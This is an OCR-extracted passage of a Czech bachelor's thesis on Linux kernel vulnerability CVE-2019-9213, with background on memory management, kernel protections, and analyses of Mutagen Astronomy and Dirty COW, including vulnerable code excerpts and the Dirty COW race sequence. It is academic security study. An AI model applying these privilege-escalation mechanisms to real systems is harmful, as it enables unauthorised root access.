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Abstrakt

Préace se zabyva zranitelnosti CVE-2019-9213 souvisejici s chybou v pamé-
tovém substému operacniho systému Linux. UmoZnuje namapovani virtudlni
adresy 0. Zranitelnost je véetné dvou dalsich (Mutagen Astronomy a Dirty
COW) analyzovand a je navrzen utok za tcelem eskalace opravnéni na
danou zranitelnost. Na adresu 0 je nahran skodlivy kod a spustén v privile-
govaném rezimu. Utok je ispésny, nicméné jsou vypnuté nékteré systémové
ochrany.

Klicova slova Linuxové jadro, zranitelnosti, exploit, shellcode, eskalace
opravnéni, CVE-2019-9213



Abstract

This thesis focuses on Linux kernel vulnerability CVE-2019-9213, which
relates with a bug on Memory Management subsystem on Linux operating
system. It allows mapping of vitual address 0. This vulnerability with
Mutagen Astronomy and Dirty COW are analyzed and an attack is design
in order to gain privilege escalation. On address 0 is stored a malicious
code and is run in privileged mode. The attack is successfull however some
system’s protections are disabled.

Keywords Linux kernel, vulneralibities, exploit, shellcode, privilege es-
calation, CVE-2019-9213
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Uvod

Linuxové jadro je naprogramovano v jazyce C a v jazyce symbolickych
adres. Tyto jazyky dovoluji programatortim udélat v kodu chyby, které mo-
hou v nékterych pripadech vést az ziskani kontroly nad celym systémem.

Smyslem této bakalarské prace je vybrat jednu zranitelnost nalezenou
v linuxovém jadre, podrobit ji detailnéjSimu rozboru a pokusit se navrh-
nout utok, ktery dotyénou zranitelnost vyuzije. Prace se také vénuje popisu
nekterych obecnych chyb, které jazyk C umoznuje, a readlnym prikladim
nalezenych v jadre.

Pro hlavni ucely analyzy a navrhu byla vybrana zranitelnost s kédovym
oznac¢enim CVE-2019-9213.

Prvni kapitola se vénuje samotnému procesu zavedeni jadra od spusténi
prvniho firmwaru az po grafické uzivatelského rozhrani.

Druha kapitola je zamérena na predstaveni architektury operac¢niho
systému Linux, paméfového subsystému a virtualniho souborového systému.

Treti kapitola se zabyva nékterymi vybranymi zranitelnostmi a popi-
suje chyby, které je zptusobuji. Jsou analyzovany dvé zranitelnosti Mutagen
Astrononomy a Dirty COW.

Ctvrta kapitola analyzuje chybu nalezenou v paméfovém subsystému
CVE-2019-9213.

Pata kapitola je postavena na navrhu utoku a identifikaci predpokladi
pro uspésnou eskalaci opravnéni. Popisuje psani exploitu krok za krokem.

Sest4 kapitola ukazuje, jakym zpusobem bylo zprovoznéno testovaci
prostredi.

Nakonec jsou v zavéru shrnuty dosazené vysledky.



UvoD

Mou motivaci pro volbu tohoto tématu je zajem o samotny operac¢ni
systém Linux, proto jsem uvital prilezitost ponotit se hloubéji do jadra skrze
vybrané zranitelnosti. S psanim exploitu jsem mél témeér nulové zkusSenosti.
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Spusténi jadra

Tato kapitola se vénuje spusténi jadra uloZeného na pevném disku (nebo kte-
rémkoliv jiném pamétovém médiu). Je zde pro ¢tendfovu predstavu, aby tu-
sil, co se déje pred tim, nez je spustén graficky rezim. Vsechny zkratky jsou
uvedeny v zavéru prace.

Pri startu pocitace nacte procesorova jednotka adresu z nevolatilni pa-
méti ROM, ve které je nahran firmware nazyvany BIOS (nebo novéjsi
UEFI). Tento firmware inicializuje hardware, otestuje procesor, opera¢ni
pamét, grafickou kartu a dalsi pfipojené periferie. Poté nacte z nasta-
veného bootovaciho zatizeni do hlavni paméti RAM prvni sektor tzv. MBR,
na kterém je ulozen zavadéc (obvykle GRUB2).

Zavadé¢ funguje ve dvou fazich. V prvni fazi je nacten samotny kod
zavadéce zminénym programem BIOS/UEFI. Zavadé¢ zna adresy spus-
titelného souboru jadra a archivu initramfs, které nahraje ve druhé fazi
do hlavni paméti. Rizen{ je dale predano jadru spolu s parametry ovliviiu-
jicimi jeho nésledujici béh - naptiklad vypnuti/zapnuti randomizace adres,
podpora protokolu IPv6, atd.

Linuxové jadro je spusténo funkei start_kernel(), jez inicializuje Sirokou
skalu sluzeb. Jsou to napf. sluzby zajistujici obsluhu preruseni(IRQ), plano-
vani tiloh(scheduler), pamétovy subsystém (MM), virtudlni systém soubort
(VFS), LVM a dalsi systémové funkce.

V dalsim kroku nésleduje rozbaleni archivu initramfs. Ten obsahuje
zékladni strukturu souboru systémiu rootfs (/dev, /proc, /sys, ...) a nej-
nutnéjsi programy k zajisténi béhu procest v uzivatelském prostoru. V tom-
to kofenovém systému je spustén prvni proces init s PID=1, ktery nahraje
doplnujici moduly a inicializuje vSechny dalsi sluzby/démony podle nasta-
veného runlevelu. Proces init je predkem vsech dalsich vzniklych procesi.



1. SPUSTEN{ JADRA

Nésleduje prihlaseni uzivatele do shellu a je zahdjena tzv. session, sezeni.
Poté miZe byt spusténa sluzba zajistujici zobrazeni grafického prostiedi.

[, 2]



KAPITOLA

Seznameni s architekturou
systému Linux

Operacni systém Linux se sklada z mnoha komplexnich subsystémi, jez po-
skytuji sluzby spravujici pamét, procesy, systémy soubortl, kryptografické
sluzby, bezpecnost ...

Kazdy subsystém pouziva definované rozhrani pro komunikaci s pri-
slusnym hardwarovym zarizenim skrze ovladace zarizeni a specifickou in-
strukéni sadou pro danou architekturu procesoru.

VSechny zdrojové soubory definujici chovani jadra se nachazeji v tzv.
kernel tree. Obsahuje adresafe mm — memory managament, fs — filesystem,
arch — kéd zavisly na procesoru, .. .[3]

2.1 Privilegovana a neprivilegovana troven

Operac¢ni systém se z hlediska vykonavani kodu da rozdélit na dvé drovneé.
Prvni drovni, v niz jsou spustény vsechny aplikace, je uZivatelsky prostor.
Koéd aplikaci z uzivatelského prostoru je provadeén v tzv. neprivilegovaném
modu. Druhou trovni je prostor jadra, ten je vykonavan v tzv. privilego-
vaném modu.

Pti vykonavani instrukei aplikaci ma procesor v neprivilegovaném rezimu
omezené moznosti. Naopak pri vykonavani instrukei jadra v privilegovaném
rezimu je plné vyuzivano vsech moznosti procesoru. Rozdil mezi témito
mody je v mnoziné instrukei, jiz procesor muze uzivat. Priklady privilego-
vanych instrukei jsou vstupné/vystupni operace, pridélovani nebo odebi-
rani systémovych prosttedki (pamét, procesor, pevny disk, ...) , vypnuti
pocitace a mnoho dalsich.
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2.2 Systémova volani

Aplikace vyzadujici provedeni privilegované operace (napf. ¢teni nebo zapis)
“pozadaji” jadro o danou operaci pres rozhrani systémouvych voldani. Sys-
témova volani jsou vstupnim bodem do prostoru jadra. Kazdé systémové
volani je v Linuxu oznaceno vlastnim ¢islem, jenz je pti volani vlozeno do re-
gistru rax, a parametry volani jsou predany registrum dle volaci konvence
v poradi rdi, rsi, rdx, rcx, r10, r8 a r9. Po zavolani trap instrukce (na
x86: int 0x80, na x86_64: syscall) je vykondno preruseni a procesor se pie-
pne z neprivilegovaného médu do privilegovaného. Ulozi stav registri a
adresu uzivatelského procesu na zdsobnik jadra. Systém se poté podiva do
tabulky preruseni IDT a podle typu preruseni pokracuje dale. V pripadé
systémového volani je v dalsim kroku vyhledano prislusné volani z tabulky
systémovych volani pomoci ¢isla indexu vlozeného do registru rax. Po vy-
konani operace daného volani jsou ulozené registry obnoveny a procesor
se prepne zpét do neprivilegovaného rezimu a navrati se na ulozenou adre-
su uzivatelského procesu. [1]

unprivileged mode

privileged mode

Virtual File Memory Process Networkin
System Management Management ng
2

Obrazek 2.1: Architektura opera¢niho systému Linux



2.3. Sprava paméti

2.3 Sprava pameéti

Sprava paméti — Memory Management zahrnuje spravu fyzické paméti —
alokovani a uvolnovani prostredkt, spravu virtualni pameéti — strankovani,
swapovdni, princip Copy—On—Write (COW), spravu uzivatelského prostoru
— volani mmap(), brk(), apod. [3]

2.3.1 Virtualni pamét

Pocitace maji fixni mnozstvi fyzické paméti RAM, kterd je pouzivana k do-
casnému ukladani dat procesi a jadra. Fyzicky prostor je tvoren mnozinou
adres zacinajici od 0 — velikost RAM -1 a je sdilen s nékolika procesy a ja-
drem, proto je dilezeté, aby neopravnény proces nemohl zapsat do jiného
nebo primo do kédu jadra. Z tohoto duvodu je fyzicky prostor separovan
pomoci konceptu virtudlni paméti.

Virtuélni pamét odstinuje aplikace od spravy fyzické paméti a poskytuje
mechanismy, které zajistuji bezpecnost a sdileni dat mezi procesy.

Tento systém je odpovédny za to, aby kazdy proces “zil” v iluzi vlastniho
virtudlniho adresniho prostoru a za preklad virtudlnich adres na fyzické.

Fyzickd pamét je rozdélena na kontinudlni oblasti stejné velikosti —
ramce a virtualni pamét na oblasti — strdnky. Velikost stranky korespon-
duje s velikosti ramce. Na Intel architekturach x86_64 odpovida velikost
stranky /ramce 4KiB, na jinych architekturach muze byt velikost odlisné.

O preklad mezi témito dvéma oblastmi se stara jednotka MMU. MMU
je zaTizeni na ¢ipu procesoru, které preklada virtualni adresy na fyzicé. Pro-
cesor pri vykonavani pamétovych operaci instrukcemi LOAD/STORE pra-
cuje s virtualnimi adresami. Kazdy proces a pristup do paméti tak pouziva
virtudlni pamét. [5].

Pro kazdy proces operacni systém udrzuje tabulku strdnek, ktera indi-
kuje, jak jsou dané adresy mapovany. Tabulka stranek je ulozena v hlavni
pameéti.

P1i spusténi programu jsou z disku do paméti nahrany jen stranky, jez
jsou momentalné pottebné. Pokud néktera stranka chybi, nastane vyjimka
vypadek stranky, preruseni a operacni systém je jednotkou MMU instruovan
o dodani chybéjici stranky. Operacni systém zna lokaci bloku dat umisténych
na disku, vybere volny ramec, do néhoz stranku nahraje, aktualizuje tabulku
stranek a vrati se do puvodniho stavu ptred prerusenim.

Infomace o mapovani virtualnich adres na fyzické si procesy uchovavaji
odkazem na strukturu mm_struct — pgd. Virtualni adresa je dle poctu

7
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urovni rozdélena na offsetové casti reprezentujici index radku prislusné ta-
bulky. Prvni index je radek ve globalnim adresari stranek s odkazem na dalsi
tabulku, druhy index je faddek druhé tabulky, atd. az posledni index odka-
zuje na samotnd data piislusného rdmce. [0]

2.3.2 Virtualni adresni prostor procesu

Kazdy proces ma vlastni virtualni adresni prostor, ktery je rozdélen na dvé
¢asti. Prostor samotného procesu a prostor jadra, ten je sdilen se vsemi
procesy.

Celkova velikost adresniho prostoru se odviji od architektury proce-
soru v zavislosti na poc¢tu bitd, kolik jich umi adresovat. Tento prostor
zaCind na adrese 0 a konéi na adrese 2" — 1 u n-bitové architektury. Na
32-bitové je mozné adresovat prostor velikosti az 4GiB a na 64-bitové az
16EiB. V pripadé, ze pro proces neni dostatek paméti RAM, dochazi k swa-
povdni, coz je technika, kdy se nepotfebné stranky ukladaji na disk, a tak
se uvolnuje misto v hlavni paméti pro stranky nové.

Virtualni adresni prostor procesu se sklada z nékolika wvirtualnich ob-
lasti. Kazda virtualni oblast je charakterizovana strukturou vm_area_struct.
Atributy této struktury jsou pocatecni a koncova adresa virtualni oblasti,
ukazatele na prechozi a nasledujici oblast v daném procesu, ukazatel na a-
dresni prostor, do kterého oblast patri, prava - ¢teni, zapis, spousténi, a jiné.
<linux/mm_types.h>
struct vm_area_struct {

unsigned long vm_start;

unsigned long vm_end;
struct vm_area_struct *vm_next, *vm_prev;

struct mm_struct *vm_mm;

pgprot_t vm_page_prot;
unsigned long vm_flags;

Vypis 2.1: Struktura vm_area_struct

Usporadani paméti procesu reprezentuje struktura mm_struct. Ta ma
ukazatel na seznam virtualnich oblasti patticich danému procesu, pocatecéni
a koncové adresy textové oblasti, ve niz je ulozen zkompilovany zdrojovy
kod, datové oblasti s inicializivanymi daty, haldy, sdilené oblasti napt. libc.so
a zasobniku.
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<linux/mm_types.h>

struct mm_struct {
struct vm_area_struct *mmap; /* list of VMAs x/

unsigned long start_code, end_code, start_data,
end_data;

unsigned long start_brk, brk, start_stack;

unsigned long arg_start, arg_end, env_start, env_end;

Vypis 2.2: Struktura mm _struct

Samotny proces je tvoren strukturou task_struct. Pro zajimavost, tato
struktura ma priblizné 740 radkt véetné dokumentacnich komentaiia. Ob-
sahuje vSechny informace, které proces potiebuje ke svému béhu, jako je
jeho identifikator, odkaz na zasobnik, odkaz do virtualniho prostoru, prava
definovana strukturou cred, . ..

OXFFFtreF
task_struct kernel stack(s)

mm
g‘ kernel heap

mm_struct
mmap

kernel space

kernel code

vm_area_struct empty area 0xffff880000000000

cmd line arguments
g o 5 stack
<m 5 shared

heap user space

vm_prev

vm_next
bss
\vm_end—/' gc?c::
vm_start——
mmap_min_addr —  [“forpidden area | o,

Obrézek 2.2: Virtualni adresni prostor
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2.3.3 mmap

mmap() je systémové voldni, které vytvari nové mapovani ve virtualnim
adresnim prostoru volajicicho procesu. Signatura mmap() je:

void *mmap(void =*addr, size_t lenght, int prot,

10

int flags, int fd, offset_t offset);

Vypis 2.3: Signatura mmap|()

Parametrem addr je specifikovana pocateéni adresa nového mapovani.
Jestlize je tento parametr roven NULL, je na opera¢nim systému, kterou
adresu vybere. Pokud je pozadovano mapovani na konkrétni adresu, je
potieba explicitné pridat priznak MAP_FIXED. Zda bude vybrana za-
dand adresa, zalezi na nékolika faktorech, napt. jestli je adresa zarovnana
na velikost stranky nebo je vyssi nebo rovna minimalni povolené mapo-
vatelné adrese. Minimalni povolenou adresu je mozné konfigurovat v sou-
boru /proc/sys/vm/mmap_-min_addr a divodem existence této hodnoty
je zabezpeceni systému pred umisténim kodu na virtualni adresu 0 a na-
sledné dereferenci null ukazatele. [7]

length urcuje velikost nové virtualni oblasti.

prot nastavuje prava oblasti, jedna se o standartni ¢teni PROT_READ,
zapis PROT_WRITE nebo moznosti vykonavani kodu PROT_EXEC.

flags, priznaky. Priznaky umoznuji nastavit riizné vlastnosti virtualnich
oblasti. Priznakem MAP_SHARED lze vytvorit sdilenou oblast viditel-
nou ostatnim procesim. Sdilené knihovny, napt. libc, jsou v systému
takto mapovany. MAP_PRIVATE vytvori COW mapovani pii pokusu
o zapis. MAP_ANONYMOUS oblast prepise nulami. Poslednim dulezi-
tym piiznakem pro tuto praci je MAP_GROWSDOWN. Tento priznak je
pouzivan pro datovou strukturu zasobnik. Umoznuje expanzi virtualni
oblasti smérem k nizsim adresam. Jestlize zapis prekroc¢i nejnizsi ad-
resu, tzn. dotkne se tzv. “guard” stranky, je k této oblasti pridana dalsi
stranka.

fd oznacuje deskriptor souboru, offset je offset souboru.

Navratovou hodnotou je v pripadé uspéchu ukazatel na zacatek noveé
oblasti [%].



2.4. Systém soubort procfs

mmap() je zakladni sou¢dsti pamétového subsystému. Jeho funkce jsou
definované v souboru mm/mmap.c. Jsou jimi napt. do_mmap(), find_vma(),
remove_vma( ), expand_upwards() a expand_downwards (), o které bude Te¢
pozdéji v souvislosti s analyzovanou zranitelnosti CVE-2019-9213.

2.4 Systém soubort procfs

procfs je virtudlni souborovy systém (VFS), ktery poskytuje rozhrani zpii-
stupnujici datové struktury jadra a informace o bézicich procesech. [9]

procfs neni ulozen na zadném blokovém zafizeni, ale pouze v hlavni
pameéti. Nékteré soubory jsou vytvoreny az v okamziku, kdy se k nim
uzivatel snazi pristoupit.

Tento filesystem byva primontovan automaticky béhem bootovaciho
procesu do adresére /proc. Z tohoto adresére, v némz jsou udrzovany stavy o
spusténych procesech pod prislusnym pid identifikdtorem, si lze nechat zob-
razit adresni prostor procesu ze souboru /proc/{pid}/maps. Ten obsahuje
informace o namapovanych virtudlnich oblastech vcetné jejich pristupovych
prav, velikosti, ¢isla inod soubortl patrich k dané oblasti a dalsi. Pristup
k témto oblastem, tedy k paméti daného procesu, je mozny skrze soubor
/proc/{ pid} /mem. Procesy maji také specidlni link /proc/self/ odkazujici
na vlastni struktury. Adresy symbolt jadra mohou byt v souboru /proc/-
kallsyms, béznému uzivateli jsou vSak tyto adresy skryty. [9]

Vétsina soubortl v tomto adresari je uréena pouze pro ¢teni, nékteré sou-
bory je ale mozné konfigurovat, takze lze ménit rizna nastaveni jadra/pro-
cestl primo za béhu.

Préace s paméti nad procesy v souborovém systému procts je definovana:

<fs/proc/base.c>
static const struct file_operations proc_mem_operations

= {
.1lseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_realese,

Vypis 2.4: Operace nad paméti procesu v procfs

mem_write() je wrapper pro funkci mem_rw(), jez vola dalsi funkci
access_remmote _vm() a ta zajistuje ¢teni nebo zdpis do pamétfové oblasti
jiného procesu — samoziejmé podle prislusnych opravnéni.

11



2. SEZNAMENI S ARCHITEKTUROU SYSTEMU LINUX

2.5 Obranné mechanismy

Zpusobti ochranujici jadro pred zneuzitim je nékolik, zde jsou zmiméné
pouze nékteré. Registr CR4 je tidici registr na ¢ipu procesoru, podle néhoz
se méni chovani CPU jednotky.

CR4.SMAP bit [Supervisor Mode Access Protection] chrani stranky pred
pristupem k dattim v privilegovaném médu. Pokud je CR4.SMAP = 1, pro-
gram operujici v privilegovaném rezimu nemiize zpristupnit data z virtu-
alnich adres uzivatelského prostoru. Pokus o zpristupnéni dat vygeneruje
vypadek strdanky. [10]

CR4.SMEP bit [Supervisor Mode Execution Protection] chrani stranky
pred nactenim instrukei (fetch) v privilegovaném rezimu. Pokud je hodnota
bitu registru nastavena na CR4.SMEP = 1, program operujici v privile-
govaném rezimu nemtuize nacist instrukce z virtualnich adres uzivatelského
prostoru. Pokus o spusténi kédu vvygeneruje vgpadek stranky. [10]

KASLR je implementace, ktera dekompresuje obraz jadra na nahodné
fyzické adresy a mapuje obraz na ndhodné virtualni adresy. Utoénici tak
nemohou jednoduse zjistit, na kterych adresich se kéd jadra nachézi. [11]

/proc/sys/vm/mmap min_addr indikuje velikost adresového prostoru za-
¢inajictho od 0, jenz nemuze byt namapovan. Omezeni poskytuje ochranu
pred zneuzitim chyb zptistupnujici NULL ukazatel. [12, 7]

Cilem popisu predchozich témat bylo seznamit ctenate se zakladnimi
pojmy souvisejicimi prevazné se zranitelnosti CVE-2019-9213.

Dalsi kapitola se vénuje nékterym programatorskym chybam a zrani-
telnostem, poté bude nasledovat popis vyse uvedené zranitelnosti a navrh
utoku.
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KAPITOLA 3

Analyya znamych zranitelnosti

Kapitola vybira nékteré programatorské chyby z jazyka C a znamé zrani-
telnosti, které jsou témito chybami zptisobeny.

3.1 Preteceni datového typu

Preteceni datového typu nastane, kdyz je inkrementovana hodnota daného
typu, ale je prilis velkd na ulozeni do jeho reprezentace. Hodnota poté
“pretetece” do velmi malé hodnoty nebo zaporného cisla. Toto chovani
muze mit za nasledek vznik bezpecnostniho incidentu, napt. v zavislosti
na pretecené proménné se zacne vykonavat jind vétev programu, ktera by
se za “norméalnich” okolnosti vykonavala pouze opravnénym uzivateliim.
V podstaté se muze zménit logika provadéni programu. [13]

Pii¢inou je, Ze v podcitadi jsou &isla uklddana do pamétfovych bunék
majici urcitou velikost, takze existuje jisty “strop”, kterych mohou ¢isla
nabyvat. Ciselné datové typy mohou byt ¢teny bud neznaménkové, typ
unsigned nebo znaménkové, typ signed. Zapis v paméti je stejny, interpre-
tace jina. Signed dava moznost prace se zapornymi ¢isly, ale s poloviénim
rozsahem hodnot, kterych muze oproti unsigned typu nabyvat. Napiiklad
datovy typ integer znacen int ma velikost 4 bajty a 232 hodnot. Rozsah
neznaménkové interpretace je od 0 po OxFFFFFFFF, znaménkové od
0280000000 po 0x7FFFFFFF. Pricteni +1 k maximalni hodnoté nezna-
ménkového typu by jiz preteklo a vysledek by byl 0. Problém preteceni/pod-
teceni se netyka jen datového typu int ale obecné vsech primitivnich ¢i-
selnych typu. Celd ¢isla jsou reprezentovana dvojkovym doplikem kvuli
rozliseni zapornych a kladnych hodnot. Napft. ¢islo 3 je v bindrni soustave
0011, a cislo 13 je 1101,. Zaporné cislo —3 dostaneme negaci biti cisla
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3. ANALYYA ZNAMYCH ZRANITELNOSTI

0011 a prictenim 1. Vysledek je 1101,. Bindrni reprezentace ve dvojkovém
dopliku ¢isla —3 a 13 je stejna.

3.1.1 Mutagen Astronomy

Chyba s oznac¢enim CVE-2018-14634. Pretec¢eni datového typu integer bylo
objeveno v jadie operacniho systému Linux ve funkci create_elf tables().
Neprivilegovany uzivatel s pristupem k SUID programu mohl vyuzit této
chyby k eskalaci opravnéni. Skére zranitelnosti je 7.8, coz ji fadi mezi vysoce
nebezpecné chyby. [14]

<fs/binfmt_elf.c>

#define STACK_ROUND(sp, items) \
(((unsigned long) (sp - items)) &~ 15UL)

create_elf_tables(struct linux_binprm *bprm,
struct elfhdr *exec,

int argc = bprm->argc;
int envc bprm->envc;
elf_addr_t __user *sp;

int items;
p = arch_align_stack(p);

items = (argc + 1) + (envc + 1) + 1;
bprm->p = STACK_ROUND(sp, items);

sp = (elf_addr_t __user *)bprm->p;
Vypis 3.1: Kéd odpovédny za zranitelnost Mutagen Astronomy

STACK_ROUND je makro, jemuz jsou vlozeny argumenty ukazatel na vr-
chol zasobniku sp (stack pointer) a items (pocet polozek), které oznacuji o
kolik se ukazatel sp ma posunout smérem k nizsim adresam, kolik polozek
ma “preskocit”. Proménné argc a envc oznacuji poCet parametri programu
a pocet proménnych prostiedi. Tyto proménné jsou shora omezené konstan-
tou MAX_ARG_STRINGS, jejiz hodnota je 0z7F FFFFFF. Protoze jsou
argc a envc typu integer, tak po pricteni +1 k maximalni konstanté se do-
stanou na hodnotu 0280000000, coz je v reprezentaci znaménkovych typu
jiz zaporné cislo.
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3.2. Casové zavisld chyba

Kdyby se povedlo do programu vlozit alespon MAX_ARG_STRINGS
argumentli, bude vyslednd hodnota proménné items negativni. V makru
STACK_ROUND potom dojde k odec¢itani zaporného cisla, coz znamena,
ze se ke sp hodnota pri¢te. Tim se posune ukazatel na vrchol zasobniku
uzivatelského prostoru smérem k vyssim adresdm namisto k nizsim.

SUID programu tak bylo mozné predat vlastni definované proménné
prosttedi, jez mohly ovlivnit béh spoustéjiciho procesu. Naptiklad slo zménit
cestu LD_LIBRARY_PATH, takze linker mohl nalinkovat upravené “zlé”
knihovny a jejich kéd provést pod rootem.

Zranitelné verze jader jsou 2.6.x, 3.10.x a 4.14.x. [17]

3.2 Casové zavisla chyba

Casové zavisld chyba spoc¢iva ve vykonavani proudu instrukei v poradi, které
programator nepredpokladal a které vede k nedeterministickému chovani
programu. Jev se kvuli ndhodnym vyskytum sSpatné detekuje.

Tato chyba se muze vyskytnout jen za splnéni nékolika podminek. Na
hardwarové drovni musi byt procesor postaven na architekture SMP, ne-
boli jednotliva vlakna procest se mohou stiidat mezi vSemi procesorovymi
jednotkami. Na softwarové trovni je vyzadovano, aby program zpracovaval
néjakou ¢innost paralelné alespon dvéma vldkny, ktera pristupuji ke sdilené-
mu prostredku (proménd, soubor, . ..) s moznosti zapisu. Sdileny prostredek
je oznacovan také jako kritickd sekce.

Linux pouziva preemptivni planovani, tzn. ze pldnovac pridéluje vla-
kntm dle priorit casové kvantum, po které jsou na CPU provadéna. Po vy-
prseni ¢asu dojde k prepnuti kontertu a CPU jednotka je pridelena jinému
vldknu.[16]

Jako priklad, necht jsou dvé vldkna T a T, a obé pFistupuji ke sdilené
proménné int ¢+ = 0. Tuto hodnotu budeme chtit kvili urychleni vypoctu
inkrementovat paralelné. Oba proudy instrukci budou v cyklu provadét
operace ¢teni/zépis do této proménné. Vldkno Tj si nacte i = 0 do regi-
stru (instr. LOAD R, MEM]i]). V tom T} vyprsi ¢as, planova¢ prepne kon-
text, béhem kterého jsou hodnoty registri ulozeny na zasobnik a cpu je
pridéleno druhému vldknu. 75 nac¢te proménnou ¢ a v cyklu ji nékolikrat
inkrementuje. Po dalsim prepnuti kontextu je vlakno 7} diky obnovenym
registriim v piivodnim stavu a navysi ptivodni hodnotu i=0. Vysledek zapise
(STORE MEM]i], R) a to stejné nékolikrat opakuje. Vzniké tak zavod mezi
dvéma vlakny. Aby k podobnym situacim nedochazelo, musi byt k témto
sdilenym prostiedkiim zajistén vylucng pristup. Sychroniza¢nimi prostied-
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3. ANALYYA ZNAMYCH ZRANITELNOSTI

Vlakno T1 VlIakno T2
I inti=0
load R, mem([i] nacteni z paméti prom i do registru
inc R inkrementace registru

| prepnuti kontextu, T2 ziskava CPU

!

load R, meml[i]
inc R
store mem([i], R

CPU ziskava T1 |

|

store mem[i], R uloZeni hodnoty registru na adresu paméti prom i

Obrazek 3.1: Casové zavisld chyba

ky umoznujici tento pfistup jsou napriklad spinlocky, mutexy a pouzivani
atomickych prom&nnjch. [17]

3.2.1 Dirty COW

Zranitelnost v linuxovém jadre s oznacenim CVE-2016-5195 a skére 7.8.
Dovolovala zapsat do pamétovych stranek, které byly uréeny pouze ke ¢teni.
Bylo tak mozné zapsat do systémovych, konfigura¢nich nebo SUID souborti.
To umoznovalo ziskat rootovska prava napriklad prepsanim uid nékterého
uzivatele na 0 v souboru /etc/passwd.

Zapis byl proveden vyvolanim soubéhu dvou vlaken a zneuzitim chyby
v implementaci mechanismu Copy—On—Write (COW), coz je princip, kdy
se fyzicky ramec pri pokusu o zapis nakopiruje do nového ramce, do kterého
je jiz zapis povolen.

Exploit spotival ve vytvoreni dvou vldken, kterd pouzivala zvIast sys-
témova volani write() do /proc/self/mem a volani madvise(), jemuz byl
predan flag MADV_DONTNEED, ktery systému k4, Ze pamétova stranka
nebude v blizké budoucnosti potieba a jadro tak mize zdroj uvolnit. Za béz-
nych okolnosti bylo skutecné zapsano do COW stranky, kterd byla nasledné
uvolnéna. Jenomze v jednom pripadé tak ucinéno nebylo, prisel pozadavek
na zapis do stranky, byla vytvorena kopie, ta se nasledné diky prepnuti
kontextu na madvise() uvolnila a zapis se provedl do stranky puvodni.

Chyba se nalézala ve funkci __get _user_pages (), ktera prevadi virtualni
adresy na fyzické stranky:.
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3.2. Casové zavisld chyba

<mm/gup.c>

long __get_user_pages (struct task_struct *tsk,
struct mm_struct *mm,
)
do {
retry:

cond_reshed () ;

page = follow_page_mask (vma, start, foll_flags,
&page_mask) ;

if (!page) Ao

int ret;
ret = faultin_page(tsk, vma, start,
&foll_flags,
nonblocking) ;

Vypis 3.2: Funkce __get_user_pages()

Funkce follow_page mask() je volana v cyklu a jejim tdkolem je najit
stranku z prislusné tabulky stranek. Pripadi, kdy volani této funkce vraci
NULL je nékolik. Jednim z nich je pokus zptistupnit stranku k zapisu, ktera
je urcend pouze ke ¢teni. Parametr foll_flags obsahuje nékolik priznaki,
mezi nimi je FOLL_-WRITE, ktery 1ika, Ze chceme do stranky zapisovat.
Poté je zavoldna funkce faultin_page(), kterd obstard dodéni stranky pomoci
mechanismu COW.

Na konci této funkce je kod:

static int faultin_page(struct task_struct =*tsk,
struct vm_area_struct *vma,
unsigned int *flags,

)

if ((ret & VM_FAULT_WRITE) && !'(vma->vm_flags & VM_WRITE))
*flags &= “FOLL_WRITE;
return O;

Vypis 3.3: Kéd odpovédny za ¢asove zavislou chybu

Priznak VM_FAULT _WRITE znamenad, ze byla vytvorena COW stranka.

Po odebrani priznaku FOLL_WRITE je prepnut kontext na vlakno s o-
peraci madvise() a vytvorend COW stranka je uvolnéna. V dalsim prepnuti
kontextu zacina opét cyklus od navésti retry, ovSem s jednou podstatnou
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3. ANALYYA ZNAMYCH ZRANITELNOSTI

zménou a to bez priznaku FOLL_WRITE, takze pro pristup ke strance staci
opravnéni ke ¢teni. Funkce follow_page mask() bez priznaku FOLL_WRITE
najde prislusnou stranku, protoze uz je v cache paméti a neni potieba do ni
zapisovat, takze nevyvola zadnou chybu. Je tedy vracena originalni stranka
a zapis muze probéhnout. Po zapisu je strance nastaven dirty bit a zménéné
data budou zapsana da disk. [18, 19]

Sekvence volani pro tspésny zapis do stranky pro cteni vypadala nasle-
dovne:

Vladkno T1 VIdkno T2

!

write("/proc/self/mem")

mem_write()
acces_remote_vm()
__get_user_pages()
follow_page_mask() s flagem FOLL_WRITE
faultin_page()
odebrani FOLL_WRITE
cond_reshed()
|
v
madvise(MADV_DONTNEED)
v
uvolnéni COW stranky
]
v
dalsi retry navesti
v
follow_page_mask() bez flagu FOLL_WRITE

Obrazek 3.2: Casové zavisla chyba zplisobujici zranitelnost Dirty COW

3.3 Dereference NULL ukazatele

Ukazatel (pointer) je proménnd, kterd slouzi k ulozeni adresy paméti. Ob-
jekt, jehoz adresu obsahuje (drzi na néj referenci), se zpristupni tzv. dere-
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3.3. Dereference NULL ukazatele

ferenci. Tato adresa muze pattit proménné libovolného datového typu nebo
to muze byt adresa funkce.

P&ad programu vyvolany kvili NULL ukazateli nastava vétsinou v pripa-
dech, kdy program dereferencuje néjaky objekt s ocekavanim, ze je validni,
ale ve skutecnosti je jeho hodnota NULL. Ve vzacnych pripadech miize tato
chyba vést ke spusténi libovolného kédu, jinak muze dojit k odepreni sluzby
(DoS attack). [20]

Typicky dereferenci NULL je vyvolan pokus o zpristupnéni paméti, ktera
procesu nepatii, coz vede k chybé segmentation fault. Divodem, je zZe
adresa 0x0 nebyva ve virtualnim adresnim prostoru procesu namapovana.

Pokud je vsak dereferencovan ukazatel na funkci, jejiz adresa je 0x0, tak
za urcitych podminek je mozné spustit kéd nahrany na této adrese. Daji se
rozlisit dva pripady. V prvnim ptipadé je dereferencovan funkcéni ukazatel,
ktery drzi hodnotu NULL v uzivatelském prostoru a nahrany kod na adrese
0 by byl spustén s pravy procesu. Ve druhém pripadé je funkéni ukazatel
dereferencovan v prostoru jadra a kéd z adresy 0 by byl vykonavany v
privilegovaném rezimu.

Druhy ptipad bude predpokladem pro tspésné spusténi kodu po zneuziti
zranitelnosti CVE-2019-9213.

BUG: unable to handle kernel NULL pointer dereference at 0000000000000000
PGD 0 P4D 0
Oops: 0010 [#1] SMP NOPTI

CPU: 0 PID: 1749 Comm: cat Tainted: G O 4.20.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ?
RIP: 0010: (null)

Code: Bad RIP value.

RSP: 0018:ffffc9000041bca0 EFLAGS: 00000286

RAX: 0000000000000000 RBX: ffff88807a2c1700 RCX: 0000000000000001

RDX: 0000000000000001 RSI: ffff88807a2c1700 RDI: f{fff8880784ac048

RBP: ffff88807albc0c0O0 RO08: 0000000000000000 R09: 0000000000000000

R10: 0000000000000000 R11: 454853006e6¢7576 R12: ffff8880784ac048

